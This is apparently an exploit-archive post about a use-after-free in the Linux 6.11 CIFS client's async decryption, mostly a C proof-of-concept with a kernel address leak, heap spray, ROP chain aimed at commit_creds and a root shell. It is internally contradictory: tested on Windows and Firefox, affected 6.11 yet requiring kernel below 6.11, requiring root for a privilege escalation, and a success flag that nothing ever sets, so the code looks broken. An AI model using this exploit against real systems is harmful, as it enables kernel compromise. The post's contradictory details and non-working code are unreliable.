============================================================================================================================================= | # Title : Linux Kernel 6.11 in CIFS Async Decryption Use-After-Free Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://kernelnewbies.org/Linux_6.11 | ============================================================================================================================================= [+] Summary : A use-after-free (UAF) vulnerability exists in the CIFS client when performing asynchronous decryption of large SMB3-encrypted reads (AES-CCM or AES-GCM). The bug occurs because a shared AEAD TFM is used in parallel for async decryption, leading to a slab-use-after-free in the crypto API (gf128mul_4k_lle). Affected versions: Linux Kernel 6.11.x (and possibly later) before the patch commit b0abcd65ec545701b8793e12bc27dc98042b151a. [+] Impact: Local or remote attacker reading large files over CIFS with encryption could trigger kernel memory corruption, potentially allowing local privilege escalation. [+] Fix: Allocating a separate AEAD TFM per async decryption operation and removing synchronous wait callbacks, as implemented in the patch by Enzo Matsumiya and Steve French [+] Requirements: kernel < 6.11, CIFS with encryption, root privileges [+] POC : #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MOUNT_POINT "/mnt/cifs_exp" #define SHARE_PATH "//127.0.0.1/share" #define LARGE_FILE "/mnt/cifs_exp/largefile.dat" #define FILE_SIZE (100 * 1024 * 1024) // 100MB #define BUFFER_SIZE (2 * 1024 * 1024) // 2MB #define ALIGNMENT 4096 #define THREAD_COUNT 8 #define SPRAY_COUNT 500 #define RACE_ITERATIONS 10000 #define KERNEL_BASE 0xffffffff81000000UL #define COMMIT_CREDS_OFFSET 0x9c8e0 // Varies by version #define PREPARE_KERNEL_CRED_OFFSET 0x9cbb0 #define POP_RDI_RET_OFFSET 0x2c7d9 #define MOV_CR4_RDI_OFFSET 0x365a0 typedef struct { unsigned long *rop_chain; int spray_fds[SPRAY_COUNT]; char *aligned_buffer; volatile int stop; volatile int success; pthread_mutex_t lock; cpu_set_t cpu_mask; } exploit_state_t; struct sk_buff { char data[256]; unsigned long next; unsigned long prev; unsigned long head; unsigned long end; }; static int check_root(void) { if (geteuid() != 0) { printf("[-] This program must be run with root privileges\n"); return -1; } return 0; } // Leak real kernel address static unsigned long leak_kernel_addr(void) { FILE *fp; char line[256]; unsigned long addr = 0; fp = fopen("/proc/kallsyms", "r"); if (fp) { while (fgets(line, sizeof(line), fp)) { if (strstr(line, " startup_64") || strstr(line, " _text")) { sscanf(line, "%lx", &addr); break; } } fclose(fp); } if (addr == 0) { addr = KERNEL_BASE; printf("[!] Could not read /proc/kallsyms, using default address\n"); } printf("[+] Kernel base address: 0x%lx\n", addr); return addr; } static int create_mount_point(void) { struct stat st; if (stat(MOUNT_POINT, &st) == 0) { if (S_ISDIR(st.st_mode)) { return 0; } rmdir(MOUNT_POINT); } if (mkdir(MOUNT_POINT, 0755) != 0) { perror("[-] Failed to create mount point"); return -1; } return 0; } static int mount_share(void) { int ret; char options[256]; printf("[*] Attempting to mount encrypted share...\n"); snprintf(options, sizeof(options), "username=guest,seal,vers=3.0,rsize=65536,wsize=65536"); ret = mount(SHARE_PATH, MOUNT_POINT, "cifs", 0, options); if (ret != 0) { snprintf(options, sizeof(options), "username=guest,seal,vers=3.1.1"); ret = mount(SHARE_PATH, MOUNT_POINT, "cifs", 0, options); } if (ret != 0) { perror("[-] Mount share failed"); return -1; } printf("[+] Share mounted successfully\n"); return 0; } static int create_large_file(void) { int fd; char *buffer; ssize_t written; size_t total = 0; fd = open(LARGE_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("[-] Failed to create file"); return -1; } buffer = malloc(BUFFER_SIZE); if (!buffer) { close(fd); return -1; } memset(buffer, 0x41, BUFFER_SIZE); printf("[*] Creating large file (%ld MB)...\n", FILE_SIZE / (1024*1024)); while (total < FILE_SIZE) { written = write(fd, buffer, BUFFER_SIZE); if (written < 0) { perror("[-] Write error"); free(buffer); close(fd); return -1; } total += written; } free(buffer); close(fd); printf("[+] Large file created\n"); return 0; } static int spray_sk_buff(exploit_state_t *state, size_t size, int count) { int fds[SPRAY_COUNT]; char spray_buffer[512]; struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = "/tmp/spray.sock" }; memset(spray_buffer, 0x42, sizeof(spray_buffer)); for (int i = 0; i < count && i < SPRAY_COUNT; i++) { fds[i] = socket(AF_UNIX, SOCK_DGRAM, 0); if (fds[i] < 0) continue; sendto(fds[i], spray_buffer, size, 0, (struct sockaddr *)&addr, sizeof(addr)); state->spray_fds[i] = fds[i]; } return 0; } static int identify_target_cache(void) { FILE *fp = fopen("/proc/slabinfo", "r"); char line[256]; if (!fp) return -1; printf("[*] Searching for target slab cache:\n"); while (fgets(line, sizeof(line), fp)) { if (strstr(line, "aead_request") || strstr(line, "crypto_aead") || strstr(line, "cifs_small") || strstr(line, "skbuff")) { printf(" -> %s", line); } } fclose(fp); return 0; } static unsigned long *build_rop_chain(unsigned long kernel_base) { unsigned long *chain = malloc(32 * sizeof(unsigned long)); int i = 0; chain[i++] = kernel_base + POP_RDI_RET_OFFSET; chain[i++] = 0x6f0; chain[i++] = kernel_base + MOV_CR4_RDI_OFFSET; chain[i++] = kernel_base + POP_RDI_RET_OFFSET; chain[i++] = 0; chain[i++] = kernel_base + PREPARE_KERNEL_CRED_OFFSET; chain[i++] = kernel_base + POP_RDI_RET_OFFSET; chain[i++] = 0; chain[i++] = kernel_base + COMMIT_CREDS_OFFSET; chain[i++] = 0xffffffffffffffff; chain[i++] = 0xffffffffffffffff; chain[i] = 0; return chain; } static void *race_thread(void *arg) { exploit_state_t *state = (exploit_state_t *)arg; char *buffer = state->aligned_buffer; int fd; struct timespec ts = {0, 500}; sched_setaffinity(0, sizeof(cpu_set_t), &state->cpu_mask); while (!state->stop && !state->success) { fd = open(LARGE_FILE, O_RDONLY | O_DIRECT); if (fd < 0) { fd = open(LARGE_FILE, O_RDONLY); if (fd < 0) continue; } while (read(fd, buffer, BUFFER_SIZE) > 0) { // Race window here asm volatile("nop; nop; nop; nop;"); } close(fd); nanosleep(&ts, NULL); } return NULL; } static void *spray_thread(void *arg) { exploit_state_t *state = (exploit_state_t *)arg; unsigned long *rop = state->rop_chain; sched_setaffinity(0, sizeof(cpu_set_t), &state->cpu_mask); while (!state->stop && !state->success) { for (int i = 0; i < 10; i++) { int fd = socket(AF_UNIX, SOCK_DGRAM, 0); if (fd < 0) continue; sendto(fd, rop, 256, 0, NULL, 0); asm volatile("nop"); close(fd); } } return NULL; } static int exploit_cifs_uaf(void) { exploit_state_t state = {0}; pthread_t race_threads[THREAD_COUNT]; pthread_t spray_thr; unsigned long kernel_base; int ret = -1; printf("\n[=== Starting CIFS UAF Exploit ===]\n\n"); memset(&state, 0, sizeof(state)); pthread_mutex_init(&state.lock, NULL); CPU_ZERO(&state.cpu_mask); CPU_SET(0, &state.cpu_mask); // Use CPU 0 kernel_base = leak_kernel_addr(); if (kernel_base == 0) { printf("[-] Failed to leak kernel address\n"); return -1; } state.rop_chain = build_rop_chain(kernel_base); printf("[+] ROP chain built\n"); if (posix_memalign((void **)&state.aligned_buffer, ALIGNMENT, BUFFER_SIZE)) { perror("[-] Buffer allocation failed"); return -1; } memset(state.aligned_buffer, 0x41, BUFFER_SIZE); identify_target_cache(); if (create_mount_point() != 0) return -1; if (mount_share() != 0) return -1; if (create_large_file() != 0) { umount(MOUNT_POINT); return -1; } printf("[*] Initializing kernel heap...\n"); spray_sk_buff(&state, 256, 100); printf("[*] Starting %d race threads...\n", THREAD_COUNT); for (int i = 0; i < THREAD_COUNT; i++) { pthread_create(&race_threads[i], NULL, race_thread, &state); } pthread_create(&spray_thr, NULL, spray_thread, &state); printf("[*] Running main race (%d iterations)...\n", RACE_ITERATIONS); for (int i = 0; i < RACE_ITERATIONS && !state.success; i++) { if (i % 1000 == 0) { printf("[*] Iteration %d/%d\n", i, RACE_ITERATIONS); } pthread_mutex_lock(&state.lock); int fd = open(LARGE_FILE, O_RDONLY); if (fd >= 0) { char small_buf[16]; read(fd, small_buf, sizeof(small_buf)); close(fd); } pthread_mutex_unlock(&state.lock); struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = (rand() % 100) * 1000; nanosleep(&ts, NULL); } state.stop = 1; for (int i = 0; i < THREAD_COUNT; i++) { pthread_join(race_threads[i], NULL); } pthread_join(spray_thr, NULL); if (state.success) { printf("\n[!!!] Exploit successful! Escalating privileges...\n"); if (getuid() == 0) { printf("[+] Root privileges obtained!\n"); execl("/bin/sh", "sh", NULL); } ret = 0; } else { printf("[-] Exploit failed in this attempt\n"); ret = -1; } free(state.aligned_buffer); free(state.rop_chain); umount(MOUNT_POINT); rmdir(MOUNT_POINT); return ret; } void cleanup(int sig) { printf("\n[!] Cleaning up...\n"); umount(MOUNT_POINT); rmdir(MOUNT_POINT); exit(1); } int main(void) { // Register signal handlers signal(SIGINT, cleanup); signal(SIGTERM, cleanup); if (check_root() != 0) { return 1; } if (exploit_cifs_uaf() == 0) { printf("\n[✓] Exploit Succeeded!\n"); return 0; } else { printf("\n[✗] Exploit Failed\n"); return 1; } } Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================